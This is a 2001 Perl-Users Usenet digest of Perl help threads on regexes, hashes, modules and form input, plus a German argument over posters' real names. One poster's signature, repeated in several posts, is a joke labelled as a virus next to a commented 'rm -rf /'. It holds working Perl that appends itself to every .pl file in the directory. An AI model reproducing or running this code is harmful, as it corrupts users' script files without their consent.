[18573] in Perl-Users-Digest

home help back first fref pref prev next nref lref last post

Perl-Users Digest, Issue: 741 Volume: 10

daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Sun Apr 22 14:05:48 2001

Date: Sun, 22 Apr 2001 11:05:09 -0700 (PDT)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Message-Id: <987962709-v10-i741@ruby.oce.orst.edu>
Content-Type: text

Perl-Users Digest           Sun, 22 Apr 2001     Volume: 10 Number: 741

Today's topics:
        Another regexp question <yf32@cornell.edu>
    Re: Another regexp question <keesh@users.pleaseremovethisbit.sourceforge.net>
    Re: Another regexp question (echo 'Rudolf Polzer'>/dev/null)
    Re: foreach in a deep hash (Tad McClellan)
    Re: foreach in a deep hash nobull@mail.com
    Re: Most popular membership management for small sites? (Randal L. Schwartz)
        Need help with Modul Mail::Send <djsyntax@crazydj.de>
    Re: Need help with Modul Mail::Send nobull@mail.com
    Re: Perl Fehler bei =?iso-8859-1?q?Scriptausf=FChrung?= <tony_curtis32@yahoo.com>
    Re: Perl Fehler bei =?ISO-8859-1?Q?Scriptausf=FChrung?= <info@rpv.de>
    Re: Perl Fehler bei =?iso-8859-1?Q?Scriptausf=FChrung?= (echo 'Rudolf Polzer'>/dev/null)
    Re: Perl Fehler bei =?iso-8859-1?q?Scriptausf=FChrung?= <tony_curtis32@yahoo.com>
    Re: Perl Fehler bei =?iso-8859-1?Q?Scriptausf=FChrung?= (echo 'Rudolf Polzer'>/dev/null)
    Re: Perl Fehler bei =?ISO-8859-1?Q?Scriptausf=FChrung?= <info@rpv.de>
    Re: Perl Fehler bei =?ISO-8859-1?Q?Scriptausf=FChrung?= <info@rpv.de>
    Re: Perl Fehler bei =?iso-8859-1?Q?Scriptausf=FChrung?= (echo 'Rudolf Polzer'>/dev/null)
    Re: Perl Fehler bei =?ISO-8859-1?Q?Scriptausf=FChrung?= <info@rpv.de>
    Re: Perl Fehler bei =?iso-8859-1?Q?Scriptausf=FChrung?= (echo 'Rudolf Polzer'>/dev/null)
    Re: Perl Fehler bei =?ISO-8859-1?Q?Scriptausf=FChrung?= <info@rpv.de>
    Re: Perl Fehler bei =?iso-8859-1?Q?Scriptausf=FChrung?= (Rudolf Polzer)
    Re: Perl Fehler bei =?iso-8859-1?Q?Scriptausf=FChrung?= (Rudolf Polzer)
        Perl Fehler bei Scriptausführung <ludmilla.markowska@gmx.net>
    Re: Perl Fehler bei Scriptausführung <ludmilla.markowska@gmx.net>
    Re: Perl Fehler bei Scriptausführung <ludmilla.markowska@gmx.net>
    Re: pointer/reference question nobull@mail.com
    Re: pointer/reference question <abe@ztreet.demon.nl>
    Re: Programming perl modules (Tad McClellan)
        Regexp to validate URI syntax <yf32@cornell.edu>
        removing the \n from the data obtained from a text area (Richard Antreasian)
    Re: removing the \n from the data obtained from a text  <yf32@cornell.edu>
    Re: removing the \n from the data obtained from a text  (Logan Shaw)
    Re: split after a number of charachters? <neutron@jackbert.fc.hp.com>
    Re: Things I'm just not getting in Perl (Randal L. Schwartz)
    Re: Which is faster/better? <andrew.fase@btinternet.com>
        Digest Administrivia (Last modified: 6 Apr 01) (Perl-Users-Digest Admin)

----------------------------------------------------------------------

Date: Sun, 22 Apr 2001 13:01:42 -0400
From: Young Chi-Yeung Fan <yf32@cornell.edu>
Subject: Another regexp question
Message-Id: <3AE30E76.EE564075@cornell.edu>

How do I check that I have an alphanumeric, colon-separated string?

Right now, I've got: /^[a-zA-Z0-9:]*$/
 ...but I know it isn't right because I can't have the string start or
end with a colon. How do I fix it?

Thanks!

Young



------------------------------

Date: Sun, 22 Apr 2001 18:35:30 +0100
From: "Ciaran McCreesh" <keesh@users.pleaseremovethisbit.sourceforge.net>
Subject: Re: Another regexp question
Message-Id: <9bv4mi$fh7$1@news8.svr.pol.co.uk>

In article <3AE30E76.EE564075@cornell.edu>, "Young Chi-Yeung Fan"
<yf32@cornell.edu> wrote:
> How do I check that I have an alphanumeric, colon-separated string?
> 
> Right now, I've got: /^[a-zA-Z0-9:]*$/
> ...but I know it isn't right because I can't have the string start or
> end with a colon. How do I fix it?

/^[a-zA-Z0-9]([a-zA-Z0-9:]*[a-zA-Z0-9])?$/ will work I think. Are you
just after matching a string which contains [a-zA-Z0-9]* with colons
anywhere except the first and last character?

And it's regex, not regexp :)


-- 
Ciaran McCreesh
mail:    keesh@users.sourceforge.net
web:     http://www.opensourcepan.com/


------------------------------

Date: Sun, 22 Apr 2001 20:03:12 +0200
From: rpolzer@durchnull.de (echo 'Rudolf Polzer'>/dev/null)
Subject: Re: Another regexp question
Message-Id: <slrn9e6770.hj4.rpolzer@www42.t-offline.de>

Young Chi-Yeung Fan <yf32@cornell.edu> wrote:
> How do I check that I have an alphanumeric, colon-separated string?
> 
> Right now, I've got: /^[a-zA-Z0-9:]*$/
> ...but I know it isn't right because I can't have the string start or
> end with a colon. How do I fix it?

(untested)
/^(?:[a-zA-Z0-9]*(?::|$))*$/

works AFAIK if and only if /$.*$/ matches anything.

-- 
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################


------------------------------

Date: Sun, 22 Apr 2001 10:46:05 -0400
From: tadmc@augustmail.com (Tad McClellan)
Subject: Re: foreach in a deep hash
Message-Id: <slrn9e5rld.gvh.tadmc@tadmc26.august.net>

nobull@mail.com <nobull@mail.com> wrote:

>$Person{'Mike Mikeson'} can hold either a string or a hash, not both. 
                                                  ^^^^^^^^^

"or a reference to a hash" was meant there.


>> Content-Type: text/html; charset=us-ascii
>
>Wrong, this is a plain text newsgroup.


It gets your articles scored down too.


-- 
    Tad McClellan                          SGML consulting
    tadmc@augustmail.com                   Perl programming
    Fort Worth, Texas


------------------------------

Date: 22 Apr 2001 16:53:57 +0100
From: nobull@mail.com
Subject: Re: foreach in a deep hash
Message-Id: <u9k84d9bhm.fsf@wcl-l.bham.ac.uk>

tadmc@augustmail.com (Tad McClellan) writes:

> nobull@mail.com <nobull@mail.com> wrote:
> 
> >$Person{'Mike Mikeson'} can hold either a string or a hash, not both. 
>                                                   ^^^^^^^^^
> 
> "or a reference to a hash" was meant there.

I work on the basis that just like -> can be omitted in Perl where it
is implied so, in the analagous situation in English "a reference to"
can be omitted.

We say "hash of hashes" even though we mean "hash, the value of each
element of which is is a reference to an anonymous hash".

Do you really think the OP would be confused (more than he already
was) by the short-hand?

-- 
     \\   ( )
  .  _\\__[oo
 .__/  \\ /\@
 .  l___\\
  # ll  l\\
 ###LL  LL\\


------------------------------

Date: 22 Apr 2001 06:34:25 -0700
From: merlyn@stonehenge.com (Randal L. Schwartz)
Subject: Re: Most popular membership management for small sites?
Message-Id: <m1snj1ys66.fsf@halfdome.holdit.com>

>>>>> "Richard" == Richard Wilkerson <rcwilk@dreamgate.com> writes:

Richard> Hi,
Richard>  I need a simple membership management system for my site.  Nothing
Richard> fancy, no database isp, just a perl.  sign up, get in.  members
Richard> managne their own password stuff. maybe I get to approve via email
Richard> notification. 

Richard>   I have tried a couple of systems, but have been unhappy with the
Richard> installation.  I was wondering what the most popular freeware used ?

If you're interested in writing your own, you can start with
the code in a couple of my WebTechniques columns, at

        <http://www.stonehenge.com/merlyn/WebTechniques/>

Look for "self-registering passwords".

-- 
Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095
<merlyn@stonehenge.com> <URL:http://www.stonehenge.com/merlyn/>
Perl/Unix/security consulting, Technical writing, Comedy, etc. etc.
See PerlTraining.Stonehenge.com for onsite and open-enrollment Perl training!


------------------------------

Date: Sun, 22 Apr 2001 16:13:07 +0200
From: "Bastian Ballmann" <djsyntax@crazydj.de>
Subject: Need help with Modul Mail::Send
Message-Id: <20010422.161306.1139901474.1210@Syntaxerror.crazydj.de>

Hi @ll!!!
I have got a problem using the module Mail::Send.
If I try to send an email with my perl script I always get the error:
"Bareword "mydomain" not allowed while "strict subs" in use".
I am not using the strict module and I have tried to qoute all @ and .
but it still doesnt work!...
Can anyone explain this to me??
Greetingz

Bastian Ballmann


------------------------------

Date: 22 Apr 2001 17:01:37 +0100
From: nobull@mail.com
Subject: Re: Need help with Modul Mail::Send
Message-Id: <u9hezgappa.fsf@wcl-l.bham.ac.uk>

"Bastian Ballmann" <djsyntax@crazydj.de> writes:

> I have got a problem using the module Mail::Send.
> If I try to send an email with my perl script I always get the error:
> "Bareword "mydomain" not allowed while "strict subs" in use".

Please show is a few lines of code either side of where the error occours.

> I am not using the strict module

So, I guess, error is not occuring in your script but rather in some
module you are using.  But I should not have to guess!  You should
have given us at least minimal information to help you.


-- 
     \\   ( )
  .  _\\__[oo
 .__/  \\ /\@
 .  l___\\
  # ll  l\\
 ###LL  LL\\


------------------------------

Date: 22 Apr 2001 10:46:37 -0500
From: Tony Curtis <tony_curtis32@yahoo.com>
Subject: Re: Perl Fehler bei =?iso-8859-1?q?Scriptausf=FChrung?=
Message-Id: <87wv8dhr8i.fsf@limey.hpcc.uh.edu>

>> On Sun, 22 Apr 2001 17:47:37 +0200,
>> "Ludmilla Markowska" <ludmilla.markowska@gmx.net> said:

> Hallo, ich habe aus dem Buch "Managin IMAP" von Oreilly
> [...]
> set inputfile [lindex $argv 0]

Das ist TCL, nicht Perl.

"comp.lang.tcl" waere eine bessere Newsgroup dafuer...

(That's TCL, not perl.  comp.lang.tcl would be a better
group to use)

hth
t
-- 
Just reach into these holes.  I use a carrot.


------------------------------

Date: Sun, 22 Apr 2001 17:51:16 +0200
From: Michael =?ISO-8859-1?Q?D=F6ring?= <info@rpv.de>
Subject: Re: Perl Fehler bei =?ISO-8859-1?Q?Scriptausf=FChrung?=
Message-Id: <9buunb$e28$1@news.netcologne.de>

"Tony Curtis" <tony_curtis32@yahoo.com> schrieb:
 ^^^^^^^^^^^

Würdest Du bitte Deinen korrekten Namen angeben!
-- 
Michael Döring ~~~~~~ Postfach 3143 ~~~~~~ 53831 Troisdorf
Tel: 02241 978197 ~~~ eMail: info@RPV.de ~~~ ICQ: 12860386
DAS Newsletterprogramm für Ihre Homepage: www.RPV.de/demo/


------------------------------

Date: Sun, 22 Apr 2001 18:32:25 +0200
From: rpolzer@durchnull.de (echo 'Rudolf Polzer'>/dev/null)
Subject: Re: Perl Fehler bei =?iso-8859-1?Q?Scriptausf=FChrung?=
Message-Id: <slrn9e61sp.hj4.rpolzer@www42.t-offline.de>

Michael Döring <info@rpv.de> wrote:
> "Tony Curtis" <tony_curtis32@yahoo.com> schrieb:
>  ^^^^^^^^^^^
> 
> Würdest Du bitte Deinen korrekten Namen angeben!

Woher weißt du, dass der Name nicht echt ist?

-- 
#!/usr/bin/perl -W -- WARNING: This will print 22,307 bytes! <strictsafe!>
use strict;for(my$y=-1;$y<1;$y+=.1){for(my$x=-1.9;$x<.4;$x+=.03){print'+';
my$X=my$Y=0;for(0..99){($X,$Y)=($X*$X-$Y*$Y+$x,2*$X*$Y+$y);print"\b "if$X*
$X+$Y*$Y>9;}}print"\n"};print''.reverse"\nHPAJ \a!rezloP .R yb torblednaM"


------------------------------

Date: 22 Apr 2001 11:23:33 -0500
From: Tony Curtis <tony_curtis32@yahoo.com>
Subject: Re: Perl Fehler bei =?iso-8859-1?q?Scriptausf=FChrung?=
Message-Id: <87r8ykj43e.fsf@limey.hpcc.uh.edu>

>> On Sun, 22 Apr 2001 18:32:25 +0200,
>> rpolzer@durchnull.de (echo 'Rudolf Polzer'>/dev/null) said:

> Michael Döring <info@rpv.de> wrote:
>> "Tony Curtis" <tony_curtis32@yahoo.com> schrieb:
>> ^^^^^^^^^^^
>> 
>> Würdest Du bitte Deinen korrekten Namen angeben!

> Woher weißt du, dass der Name nicht echt ist?

Genau.  *Ich* heisse Tony Curtis.  Der Schauspieler wurde
"Bernard Schwarz" geboren, mindestens darf ich sagen dass
das mein echter Name ist!

Ende des Threades, off-topic, bitte?

hth
t
-- 
Just reach into these holes.  I use a carrot.


------------------------------

Date: Sun, 22 Apr 2001 19:50:06 +0200
From: rpolzer@durchnull.de (echo 'Rudolf Polzer'>/dev/null)
Subject: Re: Perl Fehler bei =?iso-8859-1?Q?Scriptausf=FChrung?=
Message-Id: <slrn9e66ee.hj4.rpolzer@www42.t-offline.de>

Tony Curtis <tony_curtis32@yahoo.com> wrote:
> Ende des Threades, off-topic, bitte?

Dann setzt man einfach ein Fup2poster.

-- 
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################


------------------------------

Date: Sun, 22 Apr 2001 19:42:44 +0200
From: Michael =?ISO-8859-1?Q?D=F6ring?= <info@rpv.de>
Subject: Re: Perl Fehler bei =?ISO-8859-1?Q?Scriptausf=FChrung?=
Message-Id: <9bv5cb$nqh$1@news.netcologne.de>

"echo 'Rudolf Polzer'>/dev/null" <rpolzer@durchnull.de> schrieb:
 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Bitte auf einen korrekten Namen beschränken!

>Michael Döring <info@rpv.de> wrote:
>>"Tony Curtis" <tony_curtis32@yahoo.com> schrieb:
>> ^^^^^^^^^^^
>>
>>Würdest Du bitte Deinen korrekten Namen angeben!
>
>Woher weißt du, dass der Name nicht echt ist?

Was geht Dich das an?
Sorge bitte selbst ersteinmal für einen korrekten Namen!
-- 
Michael Döring ~~~~~~ Postfach 3143 ~~~~~~ 53831 Troisdorf
Tel: 02241 978197 ~~~ eMail: info@RPV.de ~~~ ICQ: 12860386
DAS Newsletterprogramm für Ihre Homepage: www.RPV.de/demo/


------------------------------

Date: Sun, 22 Apr 2001 19:44:26 +0200
From: Michael =?ISO-8859-1?Q?D=F6ring?= <info@rpv.de>
Subject: Re: Perl Fehler bei =?ISO-8859-1?Q?Scriptausf=FChrung?=
Message-Id: <9bv5ci$nqh$2@news.netcologne.de>

"echo 'Rudolf Polzer'>/dev/null" <rpolzer@durchnull.de> schrieb:
 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

>Tony Curtis <tony_curtis32@yahoo.com> wrote:
>>Ende des Threades, off-topic, bitte?
>
>Dann setzt man einfach ein Fup2poster.

Oder ändert zunächst einmal seinen eigenen Blödsinn bevor man sich hier 
groß einschaltet!
-- 
Michael Döring ~~~~~~ Postfach 3143 ~~~~~~ 53831 Troisdorf
Tel: 02241 978197 ~~~ eMail: info@RPV.de ~~~ ICQ: 12860386
DAS Newsletterprogramm für Ihre Homepage: www.RPV.de/demo/


------------------------------

Date: Sun, 22 Apr 2001 20:09:16 +0200
From: rpolzer@durchnull.de (echo 'Rudolf Polzer'>/dev/null)
Subject: Re: Perl Fehler bei =?iso-8859-1?Q?Scriptausf=FChrung?=
Message-Id: <slrn9e67ic.hj4.rpolzer@www42.t-offline.de>

Michael Döring <info@rpv.de> wrote:
> "echo 'Rudolf Polzer'>/dev/null" <rpolzer@durchnull.de> schrieb:
>  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> 
> Bitte auf einen korrekten Namen beschränken!

Der ist drin. Dass da ein Realname drinstehen muss, ist mir bekannt. 
Dass da nix anderes drin sein darf, ist mir neu.

Fup2me, da OT

-- 
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################


------------------------------

Date: Sun, 22 Apr 2001 19:55:07 +0200
From: Michael =?ISO-8859-1?Q?D=F6ring?= <info@rpv.de>
Subject: Re: Perl Fehler bei =?ISO-8859-1?Q?Scriptausf=FChrung?=
Message-Id: <9bv5tl$oli$1@news.netcologne.de>

"echo 'Rudolf Polzer'>/dev/null" <rpolzer@durchnull.de> schrieb:
>Michael Döring <info@rpv.de> wrote:
>>"echo 'Rudolf Polzer'>/dev/null" <rpolzer@durchnull.de> schrieb:
>> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>>
>>Bitte auf einen korrekten Namen beschränken!
>
>Der ist drin. Dass da ein Realname drinstehen muss, ist mir bekannt.
>Dass da nix anderes drin sein darf, ist mir neu.

*PLONK*

-- 
Michael Döring ~~~~~~ Postfach 3143 ~~~~~~ 53831 Troisdorf
Tel: 02241 978197 ~~~ eMail: info@RPV.de ~~~ ICQ: 12860386
DAS Newsletterprogramm für Ihre Homepage: www.RPV.de/demo/


------------------------------

Date: Sun, 22 Apr 2001 20:15:04 +0200
From: rpolzer@durchnull.de (echo 'Rudolf Polzer'>/dev/null)
Subject: Re: Perl Fehler bei =?iso-8859-1?Q?Scriptausf=FChrung?=
Message-Id: <slrn9e67t8.ka.rpolzer@www42.t-offline.de>

Michael Döring <info@rpv.de> wrote:
> "echo 'Rudolf Polzer'>/dev/null" <rpolzer@durchnull.de> schrieb:
> >Michael Döring <info@rpv.de> wrote:
> >>"echo 'Rudolf Polzer'>/dev/null" <rpolzer@durchnull.de> schrieb:
> >> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> >>
> >>Bitte auf einen korrekten Namen beschränken!
> >
> >Der ist drin. Dass da ein Realname drinstehen muss, ist mir bekannt.
> >Dass da nix anderes drin sein darf, ist mir neu.
> 
> *PLONK*

Kann ich auch. K drücken, paarmal ENTER, dazwischen einmal F, fertig.

:::::::::::'########::'##::::::::'#######::'##::: ##:'##:::'##::::::::::::
:'##::'##:: ##.... ##: ##:::::::'##.... ##: ###:: ##: ##::'##:::'##::'##::
:. ##'##::: ##:::: ##: ##::::::: ##:::: ##: ####: ##: ##:'##::::. ##'##:::
'#########: ########:: ##::::::: ##:::: ##: ## ## ##: #####::::'#########:
 .. ## ##.:: ##.....::: ##::::::: ##:::: ##: ##. ####: ##. ##:::.. ## ##.::
: ##:. ##:: ##:::::::: ##::::::: ##:::: ##: ##:. ###: ##:. ##::: ##:. ##::
:..:::..::: ##:::::::: ########:. #######:: ##::. ##: ##::. ##::..:::..:::
:::::::::::..:::::::::........:::.......:::..::::..::..::::..:::::::::::::

-- 
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################


------------------------------

Date: Sun, 22 Apr 2001 20:00:49 +0200
From: Michael =?ISO-8859-1?Q?D=F6ring?= <info@rpv.de>
Subject: Re: Perl Fehler bei =?ISO-8859-1?Q?Scriptausf=FChrung?=
Message-Id: <9bv676$pas$1@news.netcologne.de>

"Tony Curtis" <tony_curtis32@yahoo.com> schrieb:
>>>On Sun, 22 Apr 2001 18:32:25 +0200,
>>>rpolzer@durchnull.de (echo 'Rudolf Polzer'>/dev/null) said:
>
>>Michael Döring <info@rpv.de> wrote:
>>>"Tony Curtis" <tony_curtis32@yahoo.com> schrieb:
>>>^^^^^^^^^^^
>>>
>>>Würdest Du bitte Deinen korrekten Namen angeben!
>
>>Woher weißt du, dass der Name nicht echt ist?
>
>Genau.  *Ich* heisse Tony Curtis.  Der Schauspieler wurde
>"Bernard Schwarz" geboren, mindestens darf ich sagen dass
>das mein echter Name ist!

Ich glaube Dir kein Wort.

*PLONK*

-- 
Michael Döring ~~~~~~ Postfach 3143 ~~~~~~ 53831 Troisdorf
Tel: 02241 978197 ~~~ eMail: info@RPV.de ~~~ ICQ: 12860386
DAS Newsletterprogramm für Ihre Homepage: www.RPV.de/demo/


------------------------------

Date: Sun, 22 Apr 2001 20:17:40 +0200
From: rpolzer@durchnull.de (Rudolf Polzer)
Subject: Re: Perl Fehler bei =?iso-8859-1?Q?Scriptausf=FChrung?=
Message-Id: <slrn9e6824.150.rpolzer@www42.t-offline.de>

Michael Döring <info@rpv.de> wrote:
> "echo 'Rudolf Polzer'>/dev/null" <rpolzer@durchnull.de> schrieb:
> >Michael Döring <info@rpv.de> wrote:
> >>"echo 'Rudolf Polzer'>/dev/null" <rpolzer@durchnull.de> schrieb:
> >> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> >>
> >>Bitte auf einen korrekten Namen beschränken!
> >
> >Der ist drin. Dass da ein Realname drinstehen muss, ist mir bekannt.
> >Dass da nix anderes drin sein darf, ist mir neu.
> 
> *PLONK*

Biste jetzt zufrieden? Schön, wenn man meherer Adressen hat ;)

-- 
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################


------------------------------

Date: Sun, 22 Apr 2001 20:21:42 +0200
From: eins@durchnull.de (Rudolf Polzer)
Subject: Re: Perl Fehler bei =?iso-8859-1?Q?Scriptausf=FChrung?=
Message-Id: <slrn9e689m.1id.eins@www42.t-offline.de>

Michael Döring <info@rpv.de> wrote:
> *PLONK*

Ich glaub dem Kerl auch kein Wort, aber ich kann dem nix beweisen. Es 
gibt ja auch einen weiteren Michael Schumacher, einen weiteren Stefan 
Raab, noch einen Boris Becker usw.

Übrigens: dein plonk nützt dir gar nix, ich weiß, dass du noch liest.

Aber, um es mit deinen Worten zu sagen:

*plonk from=tomorrow to=forever*

-- 
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################


------------------------------

Date: Sun, 22 Apr 2001 17:47:37 +0200
From: "Ludmilla Markowska" <ludmilla.markowska@gmx.net>
Subject: Perl Fehler bei Scriptausführung
Message-Id: <9buu68$b6ua8$1@ID-81510.news.dfncis.de>

Hallo,
ich habe aus dem Buch "Managin IMAP" von Oreilly ein Script ausprobiert,
mit dem ich im Batch Modus für den IMAP-Server "Cyrus" automatisch
die Benutzer anlegen möchte:
#!/usr/bin/cyradm -file
# /root/scripts/perl/cyradmin.pl
# Batch Cyrus user creation script. Usage: adduser filename
set inputfile [lindex $argv 0] # Name of file containing users
set quotalimit 1536            # Quota limit in Kbytes
eval cyradm connect cyr_conn localhost 143
puts stdout "Connected to IMAP server. Authentication..."
if [catch {eval cyr_conn authenticate -pwcommand {{
    set hostname "localhost"
    set adminid "cyrus"
    set adminpw "cyrus"
    list $adminid $adminpw
}} } result ] {
    puts stderr "$result (cleartext)"
    return -code error $result
} else {
    puts "Authentication successful."
}
 ...
Hier sollte das Script eine Verbindung zum Server "localhost"
herstellen und als User "cyrus" mit dem Passwort "cyrus" sich einloggen.

Das schlägt mit folgender Fehlermeldung fehl:
[Undefined subroutine &Cyrus::IMAP::Shell::cyradm_usage called at
/usr/lib/perl5/site_perl/5.6.0/i386-linux/Cyrus/IMAP/Shell.pm line 426.
 ./cyradmin.pl: puts: command not found
 ./cyradmin.pl: line 19: syntax error near unexpected token `}'
 ./cyradmin.pl: line 19: `} else {'

Hat jemand eine Idee, woran das liegen könnte?

Danke für euere Hilfe
ludmilla




------------------------------

Date: Sun, 22 Apr 2001 17:48:54 +0200
From: "Ludmilla Markowska" <ludmilla.markowska@gmx.net>
Subject: Re: Perl Fehler bei Scriptausführung
Message-Id: <9buu8k$aujaf$1@ID-81510.news.dfncis.de>

sorry, wrong newsgroup.




------------------------------

Date: Sun, 22 Apr 2001 18:52:00 +0200
From: "Ludmilla Markowska" <ludmilla.markowska@gmx.net>
Subject: Re: Perl Fehler bei Scriptausführung
Message-Id: <9bv1uu$b8d71$1@ID-81510.news.dfncis.de>

hallo,
danke für euere Hilfe, wer so blöd ist wie ich und die Programmiersprachen
verwechselt hätte
ja eigentlich gar keine Hilfe verdient.

ludmilla




------------------------------

Date: 22 Apr 2001 14:35:10 +0100
From: nobull@mail.com
Subject: Re: pointer/reference question
Message-Id: <u9r8yl9hwx.fsf@wcl-l.bham.ac.uk>

Abe Timmerman <abe@ztreet.demon.nl> writes:

> 	sub re_assign {
> 		my( $x ) = @_;
> 		# do stuf with $x
> 		$_[0] = $x;
> 	}

> 	sub change_it {
> 		# do stuf with $_[0]
> 	}

My preferred idiom is 

sub change_it {
   my( $x ) = \(@_);
   # do stuf with $$x
}

-- 
     \\   ( )
  .  _\\__[oo
 .__/  \\ /\@
 .  l___\\
  # ll  l\\
 ###LL  LL\\


------------------------------

Date: Sun, 22 Apr 2001 16:28:04 +0200
From: Abe Timmerman <abe@ztreet.demon.nl>
Subject: Re: pointer/reference question
Message-Id: <3pp5et4sv5poj4al187m2u5ra7ve29ockm@4ax.com>

On 22 Apr 2001 14:35:10 +0100, nobull@mail.com wrote:

> Abe Timmerman <abe@ztreet.demon.nl> writes:
> 
> > 	sub re_assign {
> > 		my( $x ) = @_;
> > 		# do stuf with $x
> > 		$_[0] = $x;
> > 	}
> 
> > 	sub change_it {
> > 		# do stuf with $_[0]
> > 	}
> 
> My preferred idiom is 
> 
> sub change_it {
>    my( $x ) = \(@_);
>    # do stuf with $$x
> }

But I was only pointing out ways to avoid just that idom as per request:

Quoting:
On Sat, 21 Apr 2001 23:11:46 -0500, xris <xris@dont.send.spam> wrote:

>                                                                   My 
> main concern is that I'll forget the extra $ to dereference something                
> and it'll cost me hours of bug testing to find the typo.  :)

-- 
Good luck, Abe
Amsterdam Perl Mongers http://amsterdam.pm.org
perl -wle '$_=q@Just\@another\@Perl\@hacker@;print qq@\@{[split/\@/]}@'


------------------------------

Date: Sun, 22 Apr 2001 10:36:52 -0400
From: tadmc@augustmail.com (Tad McClellan)
Subject: Re: Programming perl modules
Message-Id: <slrn9e5r44.gvh.tadmc@tadmc26.august.net>

Bastian Ballmann <djsyntax@crazydj.de> wrote:
>Im Artikel <nrrE6.60$UA4.208711680@news.frii.net> schrieb "Chris Fedde"
><cfedde@fedde.littleton.co.us>:
>> In article <20010422.032921.1494613810.2785@Syntaxerror.crazydj.de>,
>> Bastian Ballmann <djsyntax@crazydj.de> wrote:

>>>Can anyone tell me how to program a perl module?


I see 3 errors and 1 breaking of a standard convention.


>>>I know that there is a manual page about this topic but I
>>>dont understand it...


What part is it that you do not understand?

We cannot really rewrite the whole darn manpage here on Usenet...


>I try to do the following:
>
>package testmodul;


Lower case names are reserved (by convention) for pragmas, so
you should use 'Testmodul' or something instead.

You should also turn on strictures here near the top of the file:

   use strict;


>sub new
>{
>print "Test\n";
>return1;


"use strict" will point out an error you made on that line.


>}
>
>----->Cut Now the Perl script <------
>
>#!/usr/bin/perl -w
>use testmodul;
>
>testmodul->new();


That is another error. You do not access module functions that way,
you access them like this:

   testmodul::new();

Your syntax above is how you use an *object*, you have not said
anything about object-oriented programming up until now.

I recommend getting a non-OO module working before moving on to
making an object oriented module.


>----->EOF<------
>
>Than I get the error: testmodul do not return a true value.
                       ^^^^^^^^^
>But I am returning a true value of 1...
       ^^^^^^^^^^^^

No, you are returning a true value of "return1" from new().

But the error message does not mention new(), it mentions 'testmodul',
so it is not the return from new() that it is complaingin about, it
is the return from'testmodul'.

All of the messages that perl might issue are documented in the
'perldiag.pod' standard doc. You could have fixed this error by
simply looking up the message there:

----------------------------
=item %s did not return a true value

(F) A required (or used) file must return a true value to indicate that
it compiled correctly and ran its initialization code correctly.  It's
traditional to end such a file with a "1;", though any true value would
do.  See L<perlfunc/require>.
----------------------------


>Could you say me where my fault is, please?

   1) no true value
   2) OO syntax with non-OO module
   3) returning a bareword

   1) lower case module name


Here is code that fixes all 4 problems:

--------   Testmodul.pm  ---------
package Testmodul;
use strict;

sub print_something
{
   print "something\n";
   return 1;
}

1;
-----------------------------------



--------   try_module  ---------
#!/usr/bin/perl -w
use strict;
use Testmodul;

Testmodul::print_something();
-----------------------------------


I cannot bring myself to name a non-OO function "new" though  :-)




You should start by making a non-OO module using the answer given in 
the Perl FAQ, part 7:

   "How do I create a module?"

Using 'h2xs' is the first prudent step in creating a module.


-- 
    Tad McClellan                          SGML consulting
    tadmc@augustmail.com                   Perl programming
    Fort Worth, Texas


------------------------------

Date: Sun, 22 Apr 2001 12:50:32 -0400
From: Young Chi-Yeung Fan <yf32@cornell.edu>
Subject: Regexp to validate URI syntax
Message-Id: <3AE30BD8.7F0B9AA4@cornell.edu>

Hi,

I'm looking for a regular expression to validate URI syntax ... would
like to use it for data validation in a Perl script. Does anyone know a
URL where I can find it? I've been looking, but am not having any
success.

Thanks!

Young



------------------------------

Date: Sun, 22 Apr 2001 12:46:09 -0400
From: insmov@tiac.net (Richard Antreasian)
Subject: removing the \n from the data obtained from a text area in a form
Message-Id: <insmov-ya02408000R2204011246090001@news.tiac.net>

I want to store a text area from a form in a flat file as a single line.
Everytime a carrige return is present another line is created in the file.
I tried to replace all \n  by subsituting \n with <p> using a regular expression
$data{thestory}=~s/\n/<P>/g;
This dosent seem to make the text into one line,
for example like this:

First sentence.
Second sentence.

yields 

First sentence<p>
Second sentence<p>

instead of    First sentence<p>Second sentence<p>

Can anybody help me?

-- 
Enjoy today, things will not get better


------------------------------

Date: Sun, 22 Apr 2001 13:10:43 -0400
From: Young Chi-Yeung Fan <yf32@cornell.edu>
Subject: Re: removing the \n from the data obtained from a text area in a form
Message-Id: <3AE31093.983E4FD4@cornell.edu>

Richard Antreasian wrote:

> I want to store a text area from a form in a flat file as a single line.
